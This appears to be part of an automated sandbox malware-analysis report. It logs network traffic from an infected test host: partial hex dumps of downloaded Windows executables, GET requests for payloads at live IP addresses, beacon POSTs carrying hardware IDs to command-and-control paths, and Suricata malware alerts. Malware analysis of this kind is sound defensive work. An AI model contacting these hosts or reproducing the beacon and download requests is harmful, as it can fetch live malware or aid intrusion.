Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:51:52 GMTContent-Type: application/octet-streamContent-Length: 1874432Last-Modified: Fri, 01 Nov 2024 07:49:17 GMTConnection: keep-aliveETag: "672487fd-1c9a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4a 00 00 04 00 00 aa 5f 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 0d 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 0d 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 62 68 75 77 73 6b 66 00 80 19 00 00 90 30 00 00 7e 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 68 70 68 78 73 61 72 00 10 00 00 00 10 4a 00 00 04 00 00 00 74 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4a 00 00 22 00 00 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:52:10 GMTContent-Type: application/octet-streamContent-Length: 2799104Last-Modified: Fri, 01 Nov 2024 07:45:47 GMTConnection: keep-aliveETag: "6724872b-2ab600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 36 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 6d 68 67 69 74 64 6f 00 60 2a 00 00 a0 00 00 00 54 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 74 7a 69 73 6d 71 61 00 20 00 00 00 00 2b 00 00 06 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 94 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003122001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003123001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGIDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 39 41 42 42 36 34 34 33 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="hwid"9B9ABB6443FB4109353171------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="build"tale------BGHJJDGHCBGDHIECBGID--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003124001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 39 41 42 42 36 34 34 33 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="hwid"9B9ABB6443FB4109353171------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="build"tale------IJKFHIIEHIEGDHJJJKFI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003125001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 39 41 42 42 36 34 34 33 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="hwid"9B9ABB6443FB4109353171------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="build"tale------BKJDGCGDAAAKECAKKJDA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBKFHIJKJKECAAAECAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 39 41 42 42 36 34 34 33 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 2d 2d 0d 0a Data Ascii: ------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="hwid"9B9ABB6443FB4109353171------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="build"tale------GHDBKFHIJKJKECAAAECA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49738 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:57660 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57770 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57778 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57789 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:57777 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57800 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57806 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57817 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57834 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:57840 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57852 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:57863 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57873 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:57886 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:57886 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57880 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57891 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57896 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57907 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57909 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57902 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57911 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:57914 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.4:49739

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
